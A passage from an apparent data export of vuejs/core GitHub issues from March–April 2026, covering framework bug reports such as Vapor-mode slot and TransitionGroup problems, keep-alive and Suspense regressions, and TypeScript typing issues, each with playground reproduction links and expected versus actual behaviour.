    renderSlot VueJS
    _sfc_render https://vitejsvitesyb8rkae-cyud--5173--4c73681d.local-corp.webcontainer.io/src/components/Card2.vue:10
    VueJS 5
    _sfc_render https://vitejsvitesyb8rkae-cyud--5173--4c73681d.local-corp.webcontainer.io/src/App.vue:35
    VueJS 8
    <anonymous> https://vitejsvitesyb8rkae-cyud--5173--4c73681d.local-corp.webcontainer.io/src/main.js:5
```

If you add ""<script setup vapor></script>"" to the second card everything works as expected

### System Info

```shell

```

### Any additional comments?

_No response_",,2026-04-07T13:08:17Z,2026-04-08T00:12:56Z,3
vuejs/core,4192873382,[keep-alive] recognized comment as elements,"### Vue version

3.5.31

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Ub1OwzAQfhXjpUt+BpiqqFJBHQAJEHT0EqWX4OLYln0JkaK8O2dHDRmqbvf9nT6fR763Nus74Fte+MpJi8wDdnYntGytcchG5qBOWA/OS6PZxGpnWrahzEboIp9DZCeA0FpVIhBirHgFsHsl+xkScZem7AgeWZpeKG9LvQscLQpjDObrZJGvtvKEo6+MrmWTnb3R1HoMEcEr01qpwL1bpJZe8C2LStBKpczvS+TQdZBc+Oobqp8r/NkPgRP8w4EH14Pgi4alawBn+fD1BgPNi9iaU6fIfUP8BG9UFzrOtsdOn6j2yhfbPsfbS90c/WFA0OH0S9HgnKJfcPqGpxtP/697nz3EnNATn/4Ao7Okrw==

### Steps to reproduce

Write a element and a comment inside <keep-alive />, compiler will throw an error.

### What is expected?

Comments shouldn't be treated as an real element

### What is actually happening?

Comments are recognized as an element.

### System Info

```shell
System:
    OS: macOS 26.4
    CPU: (8) arm64 Apple M2
    Memory: 84.09 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 20.19.4 - /Users/zenkiebear/.nvm/versions/node/v20.19.4/bin/node
    npm: 10.8.2 - /Users/zenkiebear/.nvm/versions/node/v20.19.4/bin/npm
    pnpm: 10.28.2 - /Users/zenkiebear/Library/pnpm/pnpm
  Browsers:
    Chrome: 146.0.7680.165
    Edge: 146.0.3856.84
    Firefox: 147.0.3
    Safari: 26.4
  npmPackages:
    vue: ^3.5.28 => 3.5.28
```

### Any additional comments?

<img width=""597"" height=""236"" alt=""Image"" src=""https://github.com/user-attachments/assets/91eaddef-560c-4857-825f-877e2f8297b5"" />",,2026-04-02T08:35:58Z,2026-04-02T09:08:31Z,1
vuejs/core,4190339711,onScopeDispose is triggered on SSR,"### Vue version

3.5.31

### Link to minimal reproduction

https://play.vuejs.org/#__SSR__eNp9VE1v00AQ/SvDXnCl1AYVLlVS0UIlyqFUTQUHFlFjT5It611rd51GivLfeWs7rlM+DonjnXk7b968yVac13W6bliciqkvnKoDeQ5NTTo3y5kUwUtxJo2qausCbanx/N7ixec/NdOOFs5WJEWaFcOpFNJIU1jjI6DyS6TNDoHJkTTTrKuH2/ESuKp1HhhvRNPV67NtD91NM7y1p8rUTaD1cWVL1uCGuBSUITjNRngxAWuUX6hl+uCtQWvbiJciclSa3ec6KNCT4pTaSIzlWtvHT+1ZcA1P9ufFiotffzl/8Jt4JsWNY89ujbaHWMjdkkMXvpxf8wa/hyDYN1Gk/wRv2VvdRI5d2kVjStAe5bVsr9qhKLO885ebwMbvm4pEY+auzZcC843a/6v1J7on6ZsWJ80OKj6NFDpCxcEEjhcTsmZe2Jo/KI+kkRVQrHMAb9r0zgiHvplRckSzs46C5kBBVegPIOrz4+xnsVAixUdGt/TVOl2+kALWoWfFk9Ft3QUWnLVdAlx2KT2O6FGZ0j6mhebc3aGqbULSVm/jO3zHp8MOOLO3L+RobcWbHC7jNEQ1sozCSnlyjfGkDF3DldAJ1HDO2CJ4wqWj1Skcw6Dz+S1W7g+5cNuXhl/6Hnfs2JTsMFs6v7kilIlqei4JVmBH94BlB6ns7sfFusM7Ow/tJeNyz3GxfI+LzIaN7v8ZYribSY7o7KCNBJ9WscNyCTKPUqhgklWo9DCb8WRiANAoOJRdq8Bpv7Otuj0h1N8TehdzHnxW62apzHHPbGi45IUy8Fi8YtQuMAduRFre6PY5pCcJ5ozpTUCwqnJTTiD43LuLRukSlhj4713ROakj4k/pG7gkR9/3m9N19AMSx4VELyfp2/Tkldj9Bk0U22Q=

### Steps to reproduce

Create a composable that have onScopeDispose
Execute in SSR

### What is expected?

onScopeDispose isnt triggered, that normal because there is no reactivity in SSR, so no need to trigger cleanup hook.
onScopeDispose never trigger.

### What is actually happening?

onScopeDispose is triggered in 3.5.31
the behaviour changes since this version, it's a breaking change.

### System Info

```shell
System:
    OS: Linux 6.17 Ubuntu 25.10 25.10 (Questing Quokka)
    CPU: (12) x64 AMD Ryzen... [TRUNCATED]","scope: ssr,regression",2026-04-01T22:46:47Z,2026-04-03T02:29:05Z,0
vuejs/core,4188234459,"False ""Slot invoked outside of the render function"" warning with multiple async components in Suspense","### Vue version

3.5.31

### Link to minimal reproduction

https://play.vuejs.org/#eNqtU01v2zAM/SuELnEAw8aQ7VI4HZKth+6wFstu81B4DuO4kyVDH26GwP99lGxnhpemPVQXm+Sj+Eg+HdmqrqPGIrtiic5VWRvQaGwNPBPFMmVGp+w6FVBWtVQGPuMvW6z0H5GvYKdkBbMoHvncTbNz6PUZ9LpHJ3FXmMqQYbCqeWbQFYVkY3WNQncW2duy6X/JGJOJz7nXJ3cSD5lJPLoziUflWEjd5lLsyiJ61FLQSI4uI2W5rOqSo7qrTSkFTeQKfMTFMs7l0xfvM8piOPjzPea/z/gf9cH5UnavUKNqMGWnmMlUgaYL32y+4oH+T8FKbi0n9IXgN9SSW8exg62t2BLtEc6zvfXbKUXxXd8cDI1iaMoRdcjW41NG+/l0ofV/dBfRe5+XipamOBHES9Kikz1lpYF7kkipMaLBSN5gMI/MHkUQzGF5Dcd2al5UTq8VzwJWw/qn+56I8RVMe2UfYYu7UvjxSIHChLCHthd5J+sOT3rSBm6FQAXLaVLQj9IdXzB4COlqzaXR0M6HSQ9HEUQJ6AawD2bU0yzs0BHdnFluPkbBnAYzZHSLpC/5xnzurHl7Pr5Jwrdh7/rxH7WfF7k9o4KX9uybOT1/gA1VdX2Sss3w+gfMVAAPDSonf9r8IvoQLd6x9i+1ep8x

### Steps to reproduce

1. create a `<Suspense>` boundary with two async components as children
2. the first async component (`AsyncA`) must resolve slower (multiple microticks via `await Promise.resolve().then().then()`)
3. the second async component (`AsyncB`) must resolve faster (single microtick via `await Promise.resolve()`) and render a component tree that forwards slots (e.g. Outer -> Inner -> slot content)

### What is expected?

No warnings. The slot is invoked correctly inside a render function.

### What is actually happening?

A false `Slot ""default"" invoked outside of the render function` warning is shown.

### System Info

```shell

```

### Any additional comments?

I think that this is a microtask ordering issue between `withAsyn... [TRUNCATED]",:hammer: p3-minor-bug,2026-04-01T16:27:31Z,2026-04-03T02:31:24Z,0
vuejs/core,4176441342,[Vapor] Warning appears when rendering the vapor slot in Suspense,"### Vue version

3.6.0-beta.9

### Link to minimal reproduction

https://play.vuejs.org/#eNqFU19r2zAQ/yqH9lAXUjmhY7DiBLbRh42xlbWPguE651StLRlJdgLB3313cp14Iev8YOnufnf3uz/ai09NI7sWxY3IfOF0E8BjaBvo8sa6lTK6pjPAHhyW0EPpbA0X5HBxMH2xdfOqlykLHI/MyhTWeIr3ZLewZP8kuBYvlcnSIRWFJyFg3VR5QJIAMg4Qb3Rf6w66K10uleAgSqwC7kKWkn4Ax3R0zdJJEDETwVPqUm/ks7eGStszWomC0LpC97MJmqgpcQPRwra8quz2W9Qxy9moL56weDmjf/Y71ilx59Cj61CJgy3kboNhMN/e/yDOE2Nt121F6DeMv9DbqmWOA+xza9ZEe4KLbL/G/muzefC3u4DGj0UxUUb2Ea8EzYMb9a/Sj3Sv5fvop0xPXRxnebobx61gxOKv2S9eh//GiGlu961viO8oR130niii0lc2rHhswDcKyvLEacg51Yyp4F1JTXrMi5eTmN9tvqaeSSmncU4ZphOKp9t1qPNMY8al3+Y60NInl7BcDZ12hHAGDG7hjhqmPSYJrc4RABzkQddo25BMHPkjYGLaqqLHw2I/g8V8PicpjotOGpkyeczKv+Q/r4z7COmZ2n536HiPqLRr+UHOrx4x5PKj6P8AEFJXXQ==

### Steps to reproduce

Open the link

### What is expected?

no warning

### What is actually happening?

console print: `renderEffect called without active EffectScope or Vapor instance.`

### System Info

```shell

```

### Any additional comments?

_No response_",,2026-03-31T06:53:02Z,2026-04-01T03:12:41Z,1
vuejs/core,4168352860,[Vapor] The vdom component cannot update the dynamic slots of vapor,"### Vue version

3.6.0-beta.9

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uk1v2zAM/SuCdogNpPaADAOWOcG6oYftsA3bjgIK1aYTNbIk6MNNYfi/j5LjLCvaXmzxkY98/BjotTFFH4CuaeVqK4wnDnwwpOdG2y1TosO/JwOx0JKRtFZ3ZIGExdn1RXfmhBdlNGK+xUemmKq1cp5IgZ9NTJApeCDX1vLHbJUXrZAyy4uOmyy7XRKRk80WvzlTVTlpwfpoeOiM5B7QIqS6C95rRT7VUtSHDaMxe2GC22fpJUHt/D5ndMubhgjkVuVESfRhmOSMY0oW5SYc33MZ0l+12mLmnssARKjEYJSsD/A4w2i+aaDlQUaRkY8ZGtFvscDEG8eqjMApe/l/F2lQU3uXHrqk3uHUWrEr7p1WuJYhxjNaY7yQYH8YL3CqjK5J8kQfl1I/fEuYtwGWM17voT48g9+7Y8QY/WnBge2xm7PPc7sD7Da6b35/hyO+z85ON0Fi9CvOX+C0DFHjFPY5qAZlX8QltV/T7Qi1++Nujh6Um5uKQmPkmOJx2gHiqF5q/Z/cVfEu8ZgacYrzHT6969PIXz6vi5U5qT0pT/ua8KfLuu3BRulYZlW8L95e3YHnxQc6/gUMGhuS

### Steps to reproduce

Click the 'add item' button

### What is expected?

Display the last value in the list

### What is actually happening?

unchanged

### System Info

```shell

```

### Any additional comments?

_No response_",scope: vapor,2026-03-30T07:43:58Z,2026-03-30T09:27:44Z,1
vuejs/core,4166913847,"[Vapor] When dynamic slots contain v-for, the behavior differs between vapor mode and vdom mode","### Vue version

3.6.0-beta.9

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kk2P0zAQhv/KyBw2lbZpRQGJkFYsaIXgAAj2wCHSyptMWm8d2/JHtlWV/87YaUsRaC+JPR/PvDPjA7sxJu8DsoKVrrbCeHDog4GeG21XlRId/T0cwGILA7RWd3BFCVeVqlStlfMgBX2WMSBT+AQ31vJ9tpjkrZAym+QdN1l2fw1iAssVfSeVKmdjLeLTxWNnJPdIN4DyIXivFbyvpai3y4pFem6C22TpJFGt/WZSsRVvGhCUW87GlARLiDvLlRNeaPXJ6mASl8ynOtBPW20J3XMZEIRKHVQMXjTY8iCjrJhAKY3oodji/hRMZQ8Hmk3MG4ZyRv4TffZ3G7N/RcS+L4JK5/cyHvJ+isqjnfLaix6vk0Ui7/FogUNE+jOwAC4l5K8dIHf4rlJDhJ8xcUeXEK8vANR5V4zHqONXNn05N7sJQQC04bXw+wLmI5PWdJTIrpl3tO1WrPNHpxU9l4SsWK07IyTabyYqcxUrxmLRRyr105dk8zbExkZ7vcF6+x/7o9tFW8W+W3Roexr32ee5XSMtKbpvf37FHZ3Pzk43QVL0M84f6LQMUeMY9iGohmRfxCW1n9NzF2p95253Hmngx6ai0Bg5pHh6DgE/PtP6H7mL/FXKo4nSFO97tJFJA1zkb/L59AE9z9+y4TdXvzDR

### Steps to reproduce

Click the 'add item' button

### What is expected?

Display the last one

### What is actually happening?

Display the first one

### System Info

```shell

```

### Any additional comments?

v3.6.0-beta.9  <--->  v3.5.31 
The displayed values vary when switching between different versions",,2026-03-30T03:35:41Z,2026-03-30T06:05:15Z,2
vuejs/core,4146897999,Teleport + Suspense unmount crash during page navigation in Nuxt SSR (regression in 3.5.31),"### Vue version

3.5.31

### Link to minimal reproduction

https://github.com/Gabriel-SPassos/vue-teleport-regression

### Steps to reproduce

```bash
git clone https://github.com/Gabriel-SPassos/vue-teleport-regression
cd vue-teleport-regression
npm install
npm run dev
```

1. Open http://localhost:3000
2. Click **""Go""**
3. Check the browser console

### What is expected?

Navigation to Page B completes without errors. Teleported elements from the previous page are cleanly unmounted.

### What is actually happening?

**Dev mode** (`npm run dev`):

```
RangeError: Maximum call stack size exceeded
    at queuePostFlushCb
    at queueEffectWithSuspense
    at Object.process
    at flushPostFlushCbs
    at flushJobs
```

Infinite recursion in the scheduler — deferred Teleport post-flush callbacks create a loop between `queueEffectWithSuspense` and `flushJobs`.

**Production mode**  — observed in a real-world Nuxt app:

```
TypeError: Cannot destructure property 'bum' of 'y' as it is null.
    at unmountComponent
    at unmount
    at Object.remove (Teleport.remove)
```

The page freezes — URL updates but the UI does not re-render.

**Vue 3.5.30**: No errors in either dev or production mode. Navigation works as expected.

### System Info

```
System:
  OS: macOS 15.5
  Node: v20.19.0
Binaries:
  npm: 10.8.2
npmPackages:
  vue: 3.5.31
  nuxt: ^4.1.1
```

### Any additional comments?

**Scenario:**
- Nuxt 4 app with SSR enabled
- Page A (`index.vue`): `await useFetch()` in setup (t... [TRUNCATED]","scope: teleport,:hammer: p3-minor-bug,regression",2026-03-26T19:46:30Z,2026-04-03T03:45:18Z,0
vuejs/core,4146019147,ShallowReactiveMarker related errors with TS 7,"### Vue version

3.5.31

### Link to minimal reproduction

https://play.vuejs.org/#eNp9kU9PwzAMxb+KlctAmjbx51RtSIB2gAOgwTGX0nldRppEiVOGqn53nFQbE5p2i/2end+TO3Hv3KSNKAoxC5VXjiAgRQe6NPVcCgpS3EmjGmc9QQdhU2ptv5dYVqRahB7W3jYw4hUjaaSprAm8YnDB/L//ooOygKsxfBZwDf2lNBoJ2lJHDAXQj0O73s+kdYPCe47n+qTMpgMuw3FB2DhdEnI1mx4VYswJmGmt6sk2WMMxO2kApKhs45RG/+pIMbMUBWQlafn759wjH3G871cbrL5O9Ldhl3pSvHkM6FuU4qBR6WukQV68v+CO3wexsauo2X1GXGKwOibGwfYQzYqxj3yZ9ikfSJn6Iyx2hCbsQyXQ5OyzXwo+1OOZ6H+4N5PbPCdNL/pfiVO4ww==

### Steps to reproduce

Consider the following Typescript code.
Other patterns are possible to highlight the presence of `[ShallowReactiveMarker]` 
```ts
const shallow = shallowReactive({ a: 1, b: 2 })
let values: typeof shallow
values = { a: 1, b: 2}
```

### What is expected?

It used to compile fine but after upgrading to the new TS 6.0.2 and to Vue 3.5.31 I now have a tyoe error.
I'm not sure if the change was on Vue or TS side.

### What is actually happening?

`values` assignment has error (visible in Playground link as well):

> Type '{ a: number; b: number; }' is not assignable to type 'ShallowReactive<{ a: number; b: number; }>'.
>  Property '[ShallowReactiveMarker]' is missing in type '{ a: number; b: number; }' but required in type '{ [ShallowReactiveMarker]: never; }'.
> ts(2322)

The crux is that `shallowReactive<T>` returns type `T & { [ShallowReactiveMarker]: never }`.
Adding marker symbols like that can easily be a source of issues because then you can't assign to that variable a ... [TRUNCATED]",scope: types,2026-03-26T17:39:03Z,2026-04-03T02:31:01Z,0
vuejs/core,4144199199,customRef type doesn't allow for different setter type,"### Vue version

3.5.31

### Link to minimal reproduction

https://play.vuejs.org/#eNp9UsFuwjAM/RUrF0BCrSa2CwKkbeKwHdjEdow0dcV0hTSJEqdjYvz73JQChwlVauLnZ+f5JXtxb21SBxRjMfG5Ky2BRwoWVKaLqRTkpZhJXVbWOII95MGTqZa4hgOsnamgx8U9qZsvN9oT5DA9s/p9clm+HQK5sijQDWA6g73UAAoJ6kwFZPpNAzg+1uk2CVAg9QddcErGghY7DNuV1fYjPAYdqk908AueT9PFRXl30CIyWv7g2KdZ+HfgOE86Yq8Hadr0Jm5IPxah9KANT5dZVoIrqSdp6xe7wwFhZVVGyBHAZFXWKe8m6QUshmwmW7Qui2TjjWbHoz4pclPZUqF7sVSyhVKMO+VSZEqZ7+eIkQt4HJprvjDf/oNv/K7BpHh16NHVKMUpR5ljW9v0/G2BO96fkpVZBcXsK8kleqNCo7GlPQS9YtkXvKj2Kb4VvoB3P98Rat8N1QiNbke+FPxyHq+MfpY7Sm67W2IXP2p0TU82cJTcJaMbcfgDNNjoew==

### Steps to reproduce

Try to create `customRef` with explicit, different setter type.

### What is expected?

`customRef` allows for different getter/setter respecting `Ref` type

### What is actually happening?

Setter type is not captured

### System Info

```shell
N/A
```

### Any additional comments?

Given that `Ref` itself already has proper generic parameters, fix should be easy. Let me know if PR would be welcome.

Found only this old discussion regarding this issue: https://github.com/vuejs/rfcs/discussions/558",scope: types,2026-03-26T13:55:57Z,2026-04-03T02:30:31Z,0
vuejs/core,4139760375,Using a computed jsx element in a `{{}}` and as a `:is` causes an ugly circular reference crash,"### Vue version

3.5.31

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Ub1OwzAQfpWTl1KpageYQhIJUAcYANEMDF5Cck1dHNvyTymK/O6cU1o6oEqW7Lvvx9/ZA7szZr4LyDKWu8YK48GhDwZkrbqCM+/2nJVcid5o62GARvcmeGwhwtrqHiYknnDFVaOV80D8CmkvTsSrqykUJeSt2IHz3xKLIblIbTOYfEhSQ4xltREOaNVQrd7Bk0W+IEU5veUqXxySUQwqPPZG1h6pAsjTLVqh8pAJd8ib7ucMFiUMw28ZY3I5U7IZMSnxWnTzrdOKxh+SH2fJUEi0L8YLmoizDEYkYbWU+utp7HkbcHbsNxtsPv/pb9PjZXR4tejQ7pCzE+Zr2yHlTPBy9Yx7Op/AXrdBEvsC+IZOy5AyHmj3QbUU+4w3pn0c/02ornLLvUfljkOloIkZRz5n9I0PF0b/i3s9vxl1XEUWfwDLPsEr

### Steps to reproduce

```vue
<script setup lang=""tsx"">
import { computed } from 'vue'

const tsxTest = computed(() => <div style={{ color: 'blue' }}>This is a TSX test</div>);
</script>

<template>
  <component :is=""tsxTest"" /> {{tsxTest}}
</template>
```

### What is expected?

It displays correctly or reports a readable error.

### What is actually happening?

A nasty crash while attempting to encode something in json which crashes because of some circular reference.

```
TypeError: cyclic object value
    toDisplayString https://play.vuejs.org/vue.runtime.esm-browser.js:278
    render about:srcdoc line 64 > injectedScript:32
    renderComponentRoot https://play.vuejs.org/vue.runtime.esm-browser.js:6782
    componentUpdateFn https://play.vuejs.org/vue.runtime.esm-browser.js:8304
    run https://play.vuejs.org/vue.runtime.esm-browser.js:544
    setupRenderEffect https://play.vuejs.org/vue.runtime.esm-browser.js:8439
    mountComponent https://play.vuejs.org/... [TRUNCATED]",,2026-03-26T01:39:54Z,2026-03-26T02:01:56Z,3
vuejs/core,4132029640,`defineProps` cannot be used as function argument when called directly,"### Vue version

3.5.30

### Link to minimal reproduction

https://play.vuejs.org/#eNqdU01v00AQ/SujvaSRgo2acjFuJECtAAmoaI+WkLEnzpb17mo/0qDI/53ZXTs4CHrgNjtvPt7MvD2yN1pne4+sYKXDXova4aaSAGXL99Egc3e5ua3dDg28U71WEqUrc3KO8L2SUPRobd3hdcV0bSjgU3pXDIpGeekIuLqkV56q56l8mc+a0tM2hmsHFp3XIGrZUZqzFSOUU2fjIDTbGtXDIsvJDtwXIbVR0jo46w3XsHiPQqiUkDAKLvPUZsNWVJwSt7zLHq2StIRjYFexhubkAs0X7TgVrlgBEQlYTRWfPkafMx5Xk7/ZYfPjL/5Hewi+it0ZtGj2tJMT5mrToUvwzf1nPJB9AnvVekHRz4Bf0SrhA8cU9tbLlmjP4iLbD3F3XHYP9ubgUNppqEA0RA4xvmK0zXDif43+m+46u4p5lRxoi+MhnhfRehNuN1fQesJC2PEIo4ZgGCZ9zNEoozPsP1SU5/Cw4xaeuBDQ1N4icGs9WngBLW65xDujtAUCWmi5wcaJn1BboMl9T7QnpZ3YriZiJDererz1sgmbu5iVK+MGx4QCrDN0i+CKqQVI33+nq8lhc7FchhGIJilX04/bjuXA7WoHeNDEyIIOVSt5As8aR5Cu9mfD1+ftYFimy4aBlMBMqO5ikcanuZHvaQWcfttYt1isUl9iCBThvJETEdLB/Fd926MJGiNBrLNX2folG34BukCAlg==

### Steps to reproduce

Writing something like this:
```typescript
someFunction(defineProps<{
  ...
}>())
```

### What is expected?

No error.

### What is actually happening?

Error message `defineProps is not defined` appears.

### System Info

```shell

```

### Any additional comments?

_No response_",,2026-03-25T02:59:46Z,2026-03-25T03:41:53Z,2
vuejs/core,4132011131,·defineProps· cannot be used as function argument when called directly,"### Vue version

3.5.30

### Link to minimal reproduction

https://play.vuejs.org/#eNqdU99v0zAQ/ldOfukqlQSt4yWklWDaBEjAxPYYCYXkmno4tuUfXVGV/52znXYpgj3wZt93vu+7u88H9k7rbOeRFax02GtRO1xXEqBs+S4e6Li9XN/WbosGrlWvlUTpypyCI3yvJBQ9Wlt3uKqYrg0lfE73ikHRKC8dAVeXdMtT9TyVL/MJKV1tY7h2YNF5DaKWHT1ztmKEcmI2DgLZxqgeZllO56B9Fp42SloHZ9ywgtkHFEKlBwmj5DJPNGu2oOL0cMO77NEqSUM4BHUVa6hPLtB81Y5T4YoVEJGA1VTx6VOMOeNxcYw3W2x+/iX+aPchVrE7gxbNjmZywlxtOnQJvrn/gns6n8BetV5Q9gvgN7RK+KAxpb33siXZk7yo9mOcHZfdg73ZO5T22FQQGjKHmF8xmmZY8b9af5a7zK7iu0oONMVxES+baLkOu5s6aHnE9HpcGXEdYLQSDEOZ6+eU62CjmBANNYH/w015Dg9bbuGJCwFN7S0Ct9ajhVfQ4oZLvDNKWyCghZYbbJz4BbUFmoDvSf7JcTFtBVb1eOtlE4Z2MalQxuGNLRVgnaE1hFBsogDp+x+0MDmsL+bzoJqUkWk1fbbNWA7ctnaAe00ibCKs5Ak8I44gzehPwrfndDDM01JDD0pgJlR3MUsdU6vId9Q1p4821i1mi8RLCoEynDfyKIQsMP1Q33dogr3IC8vsTbZ8zYbfaUZ+bg==

### Steps to reproduce

Writing something like this
```typescript
someFunction(defineProps<{
  ...
}>())
```

### What is expected?

No error.

### What is actually happening?

Error message `defineProps is not defined` appears.

### System Info

```shell

```

### Any additional comments?

_No response_",,2026-03-25T02:54:34Z,2026-03-25T02:56:04Z,0
vuejs/core,4125822665,"Under keep-alive, the inactive RouterView child component gets replaced by the currently active sibling RouterView component at the same level.","### Vue version

3.5.21

### Link to minimal reproduction

https://stackblitz.com/~/github.com/WJ0527/keepAlive-demo

### Steps to reproduce

1. Install the Vue DevTools extension in your browser.

2. Open the project's running URL in that browser.

3. Switch from Page 1 to Page 2, and observe the component tree in Vue DevTools.

### What is expected?

<img width=""780"" height=""399"" alt=""Image"" src=""https://github.com/user-attachments/assets/e8cd8f87-3cb4-49f6-b3db-40db01fe0ef7"" />
Under the active RouteView component with the key ""page2"", the KeepAlive component contains only the Page2 component. Under the inactive RouteView component with the key ""page1"", the KeepAlive component contains only the Page1 component.

### What is actually happening?

<img width=""780"" height=""513"" alt=""Image"" src=""https://github.com/user-attachments/assets/bb5b8c03-e774-4fff-9686-7ba47f76a57a"" />Under the inactive RouteView component with the key ""page1"", the KeepAlive component contains  not only the Page1 component but also the Page2 component .

### System Info

```shell

```

### Any additional comments?

Help needed urgently!!!",,2026-03-24T07:26:15Z,2026-03-25T03:43:21Z,9
vuejs/core,4121350971,"`defineModel` with a backtick string causes `duplicate model name ""modelValue""`","### Vue version

3.5.30

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U01r3DAQ/SuDLtvCYidtT64TaEugKfSDpkcd1rVnHSXySEjjrY3xf+/Iy+aL7F6EZt574s0be1KfvM92PapClbEOxjNE5N5fajKdd4Hhi+s8bIPrYJXlqUj0laYy3/OFKQVj523FKBVAuWiK4UKrc62gGOXyTqtcwDJ/wlRrxbF2tDVtdhcdiYkp6bWq5QFjMfz0bBxFrQpYkIRV1rp/35Yehx7Xh359i/X9K/27OKSeVr8CRgw71OoB4yq0yHv46uYHDnJ/ADvX9FbYJ8DfGJ3tk8c97XNPjdh+wlvcXi9RGmr/xKuBkeJhqGQ0MeeFr5VEm7I7Nvqj3ffZh0WnaZYUD2t5uUWwFbUSPsszkneeS9iRYYALaHBrCL+7Bm1JffcXw+Wb1bBaw5SgqrdcwPnZGcxvPz4Kx2PC8YgwSeF6C47sKGoTQTbbITE24kLKKKMSC2hacgGbbFHcIHYR+LZiORCo6jCRyTF4U9+LWGbzwXkMdtR0eqrNsHnd3OmZNuMR2akPvzG75QLwFWXxME3DPMs5zrIpwfM94flfMP8Ha4MsvA==

### Steps to reproduce

Simply define:
```
const x = defineModel<number>(`x`, { default: 100 });
```

Try to bind `x`. It won't even bind but no error is shown.

Also:
```
const x = defineModel<number>(`x`, { default: 100 });
const y = defineModel<number>(`y`, { default: 100 });
```

Results in a confusing error.

### What is expected?

Backtick strings should be evaluated correctly or at least error.
I would suggest only accepting backtick strings without any templates inside.

### What is actually happening?

Only one `defineModel` is ignored silently.
Two fail with a confusing error.

### Any additional comments?

I use stylistic to default to backtick because then I don't have to change the ticks everytime I want to use string substitution later.","scope: sfc,:hammer: p3-minor-bug",2026-03-23T14:31:47Z,2026-03-25T06:28:49Z,0
vuejs/core,4107218739,[Vapor] Click event modifiers not working as expected,"### Vue version

3.6.0-beta.8

### Link to minimal reproduction

https://play.vuejs.org/#eNqFUttu2zAM/RVWL3aBzB7QYRiKJNsSBMOG7oJtjwIGxWJStbJk6OJmCPLvo+Q4zUO72g+SyMODQx7u2ceuq/qI7JpNfeNUF8BjiB30orNuzo1q6QywB2u+2mgCSjjAxtkWCiorToClbbtjvKrTI7FSOv0aA0glF8pImMFGaI/cnPjK8hJmc9hzA1DX8CkKJ0FshTI+QBt1UJ1GWFOxTxC1KS+OZJdDEZyRBxeJO8dsE1s0oVpb+bcSUq56et0oH9CgK4tGq+a+mECJKf4oIX1CowtlsaBKeBAeMhbl++JyQBzyeeAmXab1MDgaFj0Ctp0WAekFMJWqzxe6ppnMp3k0Q64ektP6VMImLPjGmo3aVnfeGjIlS+KsoSpFor53QVnjObsexXImtLYPX3IsdT8Z480tNvdPxO/8LsU4++HQo+uRs1MuCLfFMKRXv77hju6nZGtl1IT+T/Ineqtj0jjAFtFIkn2Gy2o/551RZvvbr3bkhx+bGu07ZDxntENpYM+1/ij3qnozWkJTHPfv2a3eRNMkOmhulZY3dks7mFmPzi9T+Nz6i2Q9sb9gNnzI+MoH282SBQM7Z8ctAFimPLS5yydWgBuS/6dHl0ZC8q+qt9XrV2sMonrHDv8A7uU4PQ==

### Steps to reproduce

Click on ""Click me""

### What is expected?

The child component click event handler should fire and the event should not be propagated. 

### What is actually happening?

stopPropagation is probably not being fired

### System Info

```shell

```

### Any additional comments?

_No response_",scope: vapor,2026-03-20T10:59:35Z,2026-03-23T01:22:11Z,2
vuejs/core,4107205510,"When using the `Transition` and `KeepAlive` components together, modifying the component code can cause display issues.","### Vue version

3.5.29

### Link to minimal reproduction

https://github.com/minimal-reproduction/vue-3.5.29-transition

### Steps to reproduce

Modify `src/components/WelcomeExample.vue` component's `<script>` section by changing `const text = ref('page-a111')` to reproduce the issue.

https://github.com/user-attachments/assets/ea427b98-90f7-4c10-a78e-04977739d279

### What is expected?

Normal display

### What is actually happening?

Abnormal display

### System Info

```shell

```

### Any additional comments?

_No response_","scope: transition,scope: hmr,:hammer: p3-minor-bug,regression",2026-03-20T10:57:03Z,2026-03-25T06:27:51Z,0
vuejs/core,4069901485,[Vapor] TransitionGroup cannot perform excessive animation on v-if directives,"### Vue version

3.6.0-beta.7

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U9tu2zAM/RVOL22AxMnWXQDPLXZBMWwP27DmYcA8DKpDO2pkSZAoN0Hgfx9lp1kwFH2xRZ7Do0PS3ov3zmVdRJGLIlReOYKAFB100ll/VRrV8ptgDx5r6KH2toUzLjgrTWVNYPra3sNlgs9rqQNOHgCt+DECvxZTeP6bkWI+XsLCHBC2TktCjgCK20hkDbyrtKo2l6U4CD9L71JcLW3TaLzhoJiP1MfL0rWZi2F9Ppw0mobWExaQq9VJ5VC79NIERcqaT95y0yQbVoia2QlnhlbQzVR9sFMKjmrrOeykjgjKDG1yPt/g7iHN5fs9TzAx+r6YazVanf933ziF+ckYikA7nQ5ZN0ND6GeyItXhdMholB0eMrBPknQUzEFqDdmrACgDvi1Nn8SPMmlvpyJkTwS4ozYfj8nHz/PZi4XbTlgEwDpZKdrlsBg1eYMHi2IqKPCqa9Vkd8Ea/oQGyVJUtnVKo//mkrNQiny8LGHs0t5/GXLkY2pszFdrrDaP5O/CNuVK8d1jQN/xcI8YSd8gDz/B1zdfccvnI9jaVdTMfgL8gcHqmDyOtA/RrNj2CW9w+3n4BZRpluF6S8gDPzSVjCZmP/B5+RE/PtH6P7sX2cuhjifKU/zToU+aPMCL7HW2mN0iyeyN6P8CPZI51g==

### Steps to reproduce

Click the 'ToggleShow' button

### What is expected?

All nodes should enter slowly


### What is actually happening?

Only the first node will behave this way


After clicking twice, the console prints: `Cannot set properties of undefined (setting 'disabled')`

### System Info

```shell

```

### Any additional comments?

I have tried making modifications, but I am not sure if they are correct
> https://github.com/jackma9604/core/commit/c1f4fd9363e95f4a73b58f3c3772b639edce1e5b ",,2026-03-13T09:14:51Z,2026-03-16T00:15:09Z,3
vuejs/core,4064811470,[Vapor] Error when multiple native functions in template,"### Vue version

3.6.0-beta.7

### Link to minimal reproduction

